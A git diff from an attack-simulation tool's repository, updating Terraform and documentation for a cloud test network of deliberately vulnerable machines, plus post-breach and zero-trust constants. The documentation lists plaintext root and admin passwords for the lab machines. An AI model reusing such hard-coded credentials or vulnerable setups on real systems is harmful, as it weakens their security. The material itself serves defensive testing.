+ service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email
+
+ monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is.
+
+ }
+
4. Run terraform init
To deploy the network run:
@@ -500,6 +510,42 @@ fullTest.conf is a good config to start, because it covers all machines.
+
+
+
+
+
+
+OS: |
+Ubuntu 16.04.05 x64 |
+
+
+Software: |
+OpenSSL |
+
+
+Default service’s port: |
+22 |
+
+
+Root password: |
+3Q=(Ge(+&w]* |
+
+
+Server’s config: |
+Default |
+
+
+Notes: |
+Accessible only trough Nr.10 |
+
+
+
+
-Scan results: |
-Machine exploited using RDP grinder |
-
-
Server’s config: |
Remote desktop enabled
Admin user’s credentials:
m0nk3y, 2}p}aR]&=M |
-
+
Notes: |
|
-
+
|
|
@@ -649,7 +691,7 @@ fullTest.conf is a good config to start, because it covers all machines.
Server’s config: |
-Has cashed mimikatz-15 RDP credentials
+ | Has cached mimikatz-15 RDP credentials
SMB turned on |
diff --git a/envs/monkey_zoo/gcp_keys/.gitignore b/envs/monkey_zoo/gcp_keys/.gitignore
new file mode 100644
index 000000000..5e7d2734c
--- /dev/null
+++ b/envs/monkey_zoo/gcp_keys/.gitignore
@@ -0,0 +1,4 @@
+# Ignore everything in this directory
+*
+# Except this file
+!.gitignore
diff --git a/envs/monkey_zoo/terraform/config.tf b/envs/monkey_zoo/terraform/config.tf
index c6108865a..3a2bf0fc4 100644
--- a/envs/monkey_zoo/terraform/config.tf
+++ b/envs/monkey_zoo/terraform/config.tf
@@ -2,9 +2,10 @@ provider "google" {
project = "test-000000"
region = "europe-west3"
zone = "europe-west3-b"
- credentials = "${file("testproject-000000-0c0b000b00c0.json")}"
+ credentials = "${file("../gcp_keys/gcp_key.json")}"
}
locals {
+ resource_prefix = ""
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com"
monkeyzoo_project="guardicore-22050661"
-}
\ No newline at end of file
+}
diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf
index df33ed4d4..b183a8d32 100644
--- a/envs/monkey_zoo/terraform/firewalls.tf
+++ b/envs/monkey_zoo/terraform/firewalls.tf
@@ -1,5 +1,5 @@
resource "google_compute_firewall" "islands-in" {
- name = "islands-in"
+ name = "${local.resource_prefix}islands-in"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@@ -13,7 +13,7 @@ resource "google_compute_firewall" "islands-in" {
}
resource "google_compute_firewall" "islands-out" {
- name = "islands-out"
+ name = "${local.resource_prefix}islands-out"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@@ -26,7 +26,7 @@ resource "google_compute_firewall" "islands-out" {
}
resource "google_compute_firewall" "monkeyzoo-in" {
- name = "monkeyzoo-in"
+ name = "${local.resource_prefix}monkeyzoo-in"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@@ -35,11 +35,11 @@ resource "google_compute_firewall" "monkeyzoo-in" {
direction = "INGRESS"
priority = "65534"
- source_ranges = ["10.2.2.0/24"]
+ source_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
}
resource "google_compute_firewall" "monkeyzoo-out" {
- name = "monkeyzoo-out"
+ name = "${local.resource_prefix}monkeyzoo-out"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@@ -48,11 +48,11 @@ resource "google_compute_firewall" "monkeyzoo-out" {
direction = "EGRESS"
priority = "65534"
- destination_ranges = ["10.2.2.0/24"]
+ destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
}
resource "google_compute_firewall" "tunneling-in" {
- name = "tunneling-in"
+ name = "${local.resource_prefix}tunneling-in"
network = "${google_compute_network.tunneling.name}"
allow {
@@ -60,11 +60,11 @@ resource "google_compute_firewall" "tunneling-in" {
}
direction = "INGRESS"
- source_ranges = ["10.2.1.0/28"]
+ source_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
}
resource "google_compute_firewall" "tunneling-out" {
- name = "tunneling-out"
+ name = "${local.resource_prefix}tunneling-out"
network = "${google_compute_network.tunneling.name}"
allow {
@@ -72,5 +72,28 @@ resource "google_compute_firewall" "tunneling-out" {
}
direction = "EGRESS"
- destination_ranges = ["10.2.1.0/28"]
+ destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
+}
+resource "google_compute_firewall" "tunneling2-in" {
+ name = "${local.resource_prefix}tunneling2-in"
+ network = "${google_compute_network.tunneling2.name}"
+
+ allow {
+ protocol = "all"
+ }
+
+ direction = "INGRESS"
+ source_ranges = ["10.2.1.0/27"]
+}
+
+resource "google_compute_firewall" "tunneling2-out" {
+ name = "${local.resource_prefix}tunneling2-out"
+ network = "${google_compute_network.tunneling2.name}"
+
+ allow {
+ protocol = "all"
+ }
+
+ direction = "EGRESS"
+ destination_ranges = ["10.2.1.0/27"]
}
diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf
index 4677d0c1b..dccbe16dd 100644
--- a/envs/monkey_zoo/terraform/images.tf
+++ b/envs/monkey_zoo/terraform/images.tf
@@ -26,23 +26,27 @@ data "google_compute_image" "shellshock-8" {
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-9" {
- name = "tunneling-9-v2"
+ name = "tunneling-9"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-10" {
- name = "tunneling-10-v2"
+ name = "tunneling-10"
+ project = "${local.monkeyzoo_project}"
+}
+data "google_compute_image" "tunneling-11" {
+ name = "tunneling-11"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "sshkeys-11" {
- name = "sshkeys-11-v2"
+ name = "sshkeys-11"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "sshkeys-12" {
- name = "sshkeys-12-v2"
+ name = "sshkeys-12"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mimikatz-14" {
- name = "mimikatz-14-v2"
+ name = "mimikatz-14"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mimikatz-15" {
@@ -58,7 +62,7 @@ data "google_compute_image" "weblogic-18" {
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "weblogic-19" {
- name = "weblogic-19-v2"
+ name = "weblogic-19"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "smb-20" {
@@ -78,7 +82,7 @@ data "google_compute_image" "struts2-23" {
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "struts2-24" {
- name = "struts-24-v2"
+ name = "struts2-24"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "island-linux-250" {
@@ -88,4 +92,4 @@ data "google_compute_image" "island-linux-250" {
data "google_compute_image" "island-windows-251" {
name = "island-windows-251"
project = "${local.monkeyzoo_project}"
-}
\ No newline at end of file
+}
diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf
index e0b97822f..cf45d93e0 100644
--- a/envs/monkey_zoo/terraform/monkey_zoo.tf
+++ b/envs/monkey_zoo/terraform/monkey_zoo.tf
@@ -6,29 +6,40 @@ locals {
}
resource "google_compute_network" "monkeyzoo" {
- name = "monkeyzoo"
+ name = "${local.resource_prefix}monkeyzoo"
auto_create_subnetworks = false
}
resource "google_compute_network" "tunneling" {
- name = "tunneling"
+ name = "${local.resource_prefix}tunneling"
+ auto_create_subnetworks = false
+}
+
+resource "google_compute_network" "tunneling2" {
+ name = "${local.resource_prefix}tunneling2"
auto_create_subnetworks = false
}
resource "google_compute_subnetwork" "monkeyzoo-main" {
- name = "monkeyzoo-main"
+ name = "${local.resource_prefix}monkeyzoo-main"
ip_cidr_range = "10.2.2.0/24"
network = "${google_compute_network.monkeyzoo.self_link}"
}
resource "google_compute_subnetwork" "tunneling-main" {
- name = "tunneling-main"
+ name = "${local.resource_prefix}tunneling-main"
ip_cidr_range = "10.2.1.0/28"
network = "${google_compute_network.tunneling.self_link}"
}
+resource "google_compute_subnetwork" "tunneling2-main" {
+ name = "${local.resource_prefix}tunneling2-main"
+ ip_cidr_range = "10.2.0.0/27"
+ network = "${google_compute_network.tunneling2.self_link}"
+}
+
resource "google_compute_instance_from_template" "hadoop-2" {
- name = "hadoop-2"
+ name = "${local.resource_prefix}hadoop-2"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -37,7 +48,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.2"
}
// Add required ssh keys for hadoop service and restart it
@@ -45,7 +56,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
}
resource "google_compute_instance_from_template" "hadoop-3" {
- name = "hadoop-3"
+ name = "${local.resource_prefix}hadoop-3"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -54,13 +65,13 @@ resource "google_compute_instance_from_template" "hadoop-3" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.3"
}
}
resource "google_compute_instance_from_template" "elastic-4" {
- name = "elastic-4"
+ name = "${local.resource_prefix}elastic-4"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -69,13 +80,13 @@ resource "google_compute_instance_from_template" "elastic-4" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.4"
}
}
resource "google_compute_instance_from_template" "elastic-5" {
- name = "elastic-5"
+ name = "${local.resource_prefix}elastic-5"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -84,14 +95,14 @@ resource "google_compute_instance_from_template" "elastic-5" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.5"
}
}
/* Couldn't find ubuntu packages for required samba version (too old).
resource "google_compute_instance_from_template" "sambacry-6" {
- name = "sambacry-6"
+ name = "${local.resource_prefix}sambacry-6"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -99,7 +110,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
}
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.6"
}
}
@@ -107,7 +118,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
/* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
resource "google_compute_instance_from_template" "sambacry-7" {
- name = "sambacry-7"
+ name = "${local.resource_prefix}sambacry-7"
source_instance_template = "${local.default_ubuntu}"
boot_disk {
initialize_params {
@@ -116,14 +127,14 @@ resource "google_compute_instance_from_template" "sambacry-7" {
}
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.7"
}
}
*/
resource "google_compute_instance_from_template" "shellshock-8" {
- name = "shellshock-8"
+ name = "${local.resource_prefix}shellshock-8"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -132,13 +143,13 @@ resource "google_compute_instance_from_template" "shellshock-8" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.8"
}
}
resource "google_compute_instance_from_template" "tunneling-9" {
- name = "tunneling-9"
+ name = "${local.resource_prefix}tunneling-9"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -147,18 +158,17 @@ resource "google_compute_instance_from_template" "tunneling-9" {
auto_delete = true
}
network_interface{
- subnetwork="tunneling-main"
+ subnetwork="${local.resource_prefix}tunneling-main"
network_ip="10.2.1.9"
-
}
network_interface{
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.9"
}
}
resource "google_compute_instance_from_template" "tunneling-10" {
- name = "tunneling-10"
+ name = "${local.resource_prefix}tunneling-10"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -167,13 +177,32 @@ resource "google_compute_instance_from_template" "tunneling-10" {
auto_delete = true
}
network_interface{
- subnetwork="tunneling-main"
+ subnetwork="${local.resource_prefix}tunneling-main"
network_ip="10.2.1.10"
}
+ network_interface{
+ subnetwork="${local.resource_prefix}tunneling2-main"
+ network_ip="10.2.0.10"
+ }
+}
+
+resource "google_compute_instance_from_template" "tunneling-11" {
+ name = "${local.resource_prefix}tunneling-11"
+ source_instance_template = "${local.default_ubuntu}"
+ boot_disk{
+ initialize_params {
+ image = "${data.google_compute_image.tunneling-11.self_link}"
+ }
+ auto_delete = true
+ }
+ network_interface{
+ subnetwork="${local.resource_prefix}tunneling2-main"
+ network_ip="10.2.0.11"
+ }
}
resource "google_compute_instance_from_template" "sshkeys-11" {
- name = "sshkeys-11"
+ name = "${local.resource_prefix}sshkeys-11"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -182,13 +211,13 @@ resource "google_compute_instance_from_template" "sshkeys-11" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.11"
}
}
resource "google_compute_instance_from_template" "sshkeys-12" {
- name = "sshkeys-12"
+ name = "${local.resource_prefix}sshkeys-12"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -197,14 +226,14 @@ resource "google_compute_instance_from_template" "sshkeys-12" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.12"
}
}
/*
resource "google_compute_instance_from_template" "rdpgrinder-13" {
- name = "rdpgrinder-13"
+ name = "${local.resource_prefix}rdpgrinder-13"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -212,14 +241,14 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" {
}
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.13"
}
}
*/
resource "google_compute_instance_from_template" "mimikatz-14" {
- name = "mimikatz-14"
+ name = "${local.resource_prefix}mimikatz-14"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -228,13 +257,13 @@ resource "google_compute_instance_from_template" "mimikatz-14" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.14"
}
}
resource "google_compute_instance_from_template" "mimikatz-15" {
- name = "mimikatz-15"
+ name = "${local.resource_prefix}mimikatz-15"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -243,13 +272,13 @@ resource "google_compute_instance_from_template" "mimikatz-15" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.15"
}
}
resource "google_compute_instance_from_template" "mssql-16" {
- name = "mssql-16"
+ name = "${local.resource_prefix}mssql-16"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -258,14 +287,14 @@ resource "google_compute_instance_from_template" "mssql-16" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.16"
}
}
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
resource "google_compute_instance_from_template" "upgrader-17" {
- name = "upgrader-17"
+ name = "${local.resource_prefix}upgrader-17"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -273,7 +302,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
}
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.17"
access_config {
// Cheaper, non-premium routing
@@ -284,7 +313,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
*/
resource "google_compute_instance_from_template" "weblogic-18" {
- name = "weblogic-18"
+ name = "${local.resource_prefix}weblogic-18"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -293,13 +322,13 @@ resource "google_compute_instance_from_template" "weblogic-18" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.18"
}
}
resource "google_compute_instance_from_template" "weblogic-19" {
- name = "weblogic-19"
+ name = "${local.resource_prefix}weblogic-19"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -308,13 +337,13 @@ resource "google_compute_instance_from_template" "weblogic-19" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.19"
}
}
resource "google_compute_instance_from_template" "smb-20" {
- name = "smb-20"
+ name = "${local.resource_prefix}smb-20"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -323,13 +352,13 @@ resource "google_compute_instance_from_template" "smb-20" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.20"
}
}
resource "google_compute_instance_from_template" "scan-21" {
- name = "scan-21"
+ name = "${local.resource_prefix}scan-21"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -338,13 +367,13 @@ resource "google_compute_instance_from_template" "scan-21" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.21"
}
}
resource "google_compute_instance_from_template" "scan-22" {
- name = "scan-22"
+ name = "${local.resource_prefix}scan-22"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -353,13 +382,13 @@ resource "google_compute_instance_from_template" "scan-22" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.22"
}
}
resource "google_compute_instance_from_template" "struts2-23" {
- name = "struts2-23"
+ name = "${local.resource_prefix}struts2-23"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -368,13 +397,13 @@ resource "google_compute_instance_from_template" "struts2-23" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.23"
}
}
resource "google_compute_instance_from_template" "struts2-24" {
- name = "struts2-24"
+ name = "${local.resource_prefix}struts2-24"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -383,13 +412,13 @@ resource "google_compute_instance_from_template" "struts2-24" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.24"
}
}
resource "google_compute_instance_from_template" "island-linux-250" {
- name = "island-linux-250"
+ name = "${local.resource_prefix}island-linux-250"
machine_type = "n1-standard-2"
tags = ["island", "linux", "ubuntu16"]
source_instance_template = "${local.default_ubuntu}"
@@ -400,7 +429,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.250"
access_config {
// Cheaper, non-premium routing (not available in some regions)
@@ -410,7 +439,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
}
resource "google_compute_instance_from_template" "island-windows-251" {
- name = "island-windows-251"
+ name = "${local.resource_prefix}island-windows-251"
machine_type = "n1-standard-2"
tags = ["island", "windows", "windowsserver2016"]
source_instance_template = "${local.default_windows}"
@@ -421,11 +450,11 @@ resource "google_compute_instance_from_template" "island-windows-251" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.251"
access_config {
// Cheaper, non-premium routing (not available in some regions)
// network_tier = "STANDARD"
}
}
-}
\ No newline at end of file
+}
diff --git a/envs/monkey_zoo/terraform/templates.tf b/envs/monkey_zoo/terraform/templates.tf
index ed48864d9..6ae6dafdc 100644
--- a/envs/monkey_zoo/terraform/templates.tf
+++ b/envs/monkey_zoo/terraform/templates.tf
@@ -1,5 +1,5 @@
resource "google_compute_instance_template" "ubuntu16" {
- name = "ubuntu16"
+ name = "${local.resource_prefix}ubuntu16"
description = "Creates ubuntu 16.04 LTS servers at europe-west3-a."
tags = ["test-machine", "ubuntu16", "linux"]
@@ -24,7 +24,7 @@ resource "google_compute_instance_template" "ubuntu16" {
}
resource "google_compute_instance_template" "windows2016" {
- name = "windows2016"
+ name = "${local.resource_prefix}windows2016"
description = "Creates windows 2016 core servers at europe-west3-a."
tags = ["test-machine", "windowsserver2016", "windows"]
@@ -42,4 +42,4 @@ resource "google_compute_instance_template" "windows2016" {
email="${local.service_account_email}"
scopes=["cloud-platform"]
}
-}
\ No newline at end of file
+}
diff --git a/monkey/common/cloud/aws_instance.py b/monkey/common/cloud/aws_instance.py
index ea6a10df7..f113ca894 100644
--- a/monkey/common/cloud/aws_instance.py
+++ b/monkey/common/cloud/aws_instance.py
@@ -30,14 +30,14 @@ class AwsInstance(object):
self.region = self._parse_region(
urllib2.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
except urllib2.URLError as e:
- logger.warning("Failed init of AwsInstance while getting metadata: {}".format(e.message))
+ logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e.message))
try:
self.account_id = self._extract_account_id(
urllib2.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
except urllib2.URLError as e:
- logger.warning("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
+ logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
@staticmethod
def _parse_region(region_url_response):
diff --git a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py b/monkey/common/cloud/aws_service_test.py
similarity index 97%
rename from monkey/common/cloud/test_filter_instance_data_from_aws_response.py
rename to monkey/common/cloud/aws_service_test.py
index 8aec518d3..699e2c489 100644
--- a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py
+++ b/monkey/common/cloud/aws_service_test.py
@@ -7,7 +7,7 @@ import json
__author__ = 'shay.nehmad'
-class TestFilter_instance_data_from_aws_response(TestCase):
+class TestFilterInstanceDataFromAwsResponse(TestCase):
def test_filter_instance_data_from_aws_response(self):
json_response_full = """
{
diff --git a/monkey/common/data/__init__.py b/monkey/common/data/__init__.py
new file mode 100644
index 000000000..a8c1a93f7
--- /dev/null
+++ b/monkey/common/data/__init__.py
@@ -0,0 +1,2 @@
+from zero_trust_consts import populate_mappings
+populate_mappings()
diff --git a/monkey/common/data/network_consts.py b/monkey/common/data/network_consts.py
new file mode 100644
index 000000000..5fc9d6d8a
--- /dev/null
+++ b/monkey/common/data/network_consts.py
@@ -0,0 +1,2 @@
+ES_SERVICE = 'elastic-search-9200'
+
diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py
new file mode 100644
index 000000000..dee4f67d0
--- /dev/null
+++ b/monkey/common/data/post_breach_consts.py
@@ -0,0 +1,3 @@
+POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user"
+POST_BREACH_BACKDOOR_USER = "Backdoor user"
+POST_BREACH_FILE_EXECUTION = "File execution"
diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py
new file mode 100644
index 000000000..4add05d04
--- /dev/null
+++ b/monkey/common/data/zero_trust_consts.py
@@ -0,0 +1,205 @@
+"""
+This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and
+in creating findings.
+
+This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses.
+Some of the mappings are computed when this module is loaded.
+"""
+
+AUTOMATION_ORCHESTRATION = u"Automation & Orchestration"
+VISIBILITY_ANALYTICS = u"Visibility & Analytics"
+WORKLOADS = u"Workloads"
+DEVICES = u"Devices"
+NETWORKS = u"Networks"
+PEOPLE = u"People"
+DATA = u"Data"
+PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION)
+
+STATUS_UNEXECUTED = u"Unexecuted"
+STATUS_PASSED = u"Passed"
+STATUS_VERIFY = u"Verify"
+STATUS_FAILED = u"Failed"
+# Don't change order! The statuses are ordered by importance/severity.
+ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED]
+
+TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic"
+TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http"
+TEST_MACHINE_EXPLOITED = u"machine_exploited"
+TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists"
+TEST_SCHEDULED_EXECUTION = u"scheduled_execution"
+TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline"
+TEST_SEGMENTATION = u"segmentation"
+TEST_TUNNELING = u"tunneling"
+TEST_COMMUNICATE_AS_NEW_USER = u"communicate_as_new_user"
+TESTS = (
+ TEST_SEGMENTATION,
+ TEST_MALICIOUS_ACTIVITY_TIMELINE,
+ TEST_SCHEDULED_EXECUTION,
+ TEST_ENDPOINT_SECURITY_EXISTS,
+ TEST_MACHINE_EXPLOITED,
+ TEST_DATA_ENDPOINT_HTTP,
+ TEST_DATA_ENDPOINT_ELASTIC,
+ TEST_TUNNELING,
+ TEST_COMMUNICATE_AS_NEW_USER
+)
+
+PRINCIPLE_DATA_TRANSIT = u"data_transit"
+PRINCIPLE_ENDPOINT_SECURITY = u"endpoint_security"
+PRINCIPLE_USER_BEHAVIOUR = u"user_behaviour"
+PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic"
+PRINCIPLE_SEGMENTATION = u"segmentation"
+PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = u"network_policies"
+PRINCIPLE_USERS_MAC_POLICIES = u"users_mac_policies"
+PRINCIPLES = {
+ PRINCIPLE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.",
+ PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.",
+ PRINCIPLE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.",
+ PRINCIPLE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.",
+ PRINCIPLE_DATA_TRANSIT: u"Secure data at transit by encrypting it.",
+ PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.",
+ PRINCIPLE_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory "
+ u"Access Control) only.",
+}
+
+POSSIBLE_STATUSES_KEY = u"possible_statuses"
+PILLARS_KEY = u"pillars"
+PRINCIPLE_KEY = u"principle_key"
+FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation"
+TEST_EXPLANATION_KEY = u"explanation"
+TESTS_MAP = {
+ TEST_SEGMENTATION: {
+ TEST_EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
+ STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION,
+ PILLARS_KEY: [NETWORKS],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
+ },
+ TEST_MALICIOUS_ACTIVITY_TIMELINE: {
+ TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC,
+ PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
+ },
+ TEST_ENDPOINT_SECURITY_EXISTS: {
+ TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.",
+ STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
+ PILLARS_KEY: [DEVICES],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ },
+ TEST_MACHINE_EXPLOITED: {
+ TEST_EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.",
+ STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
+ PILLARS_KEY: [DEVICES],
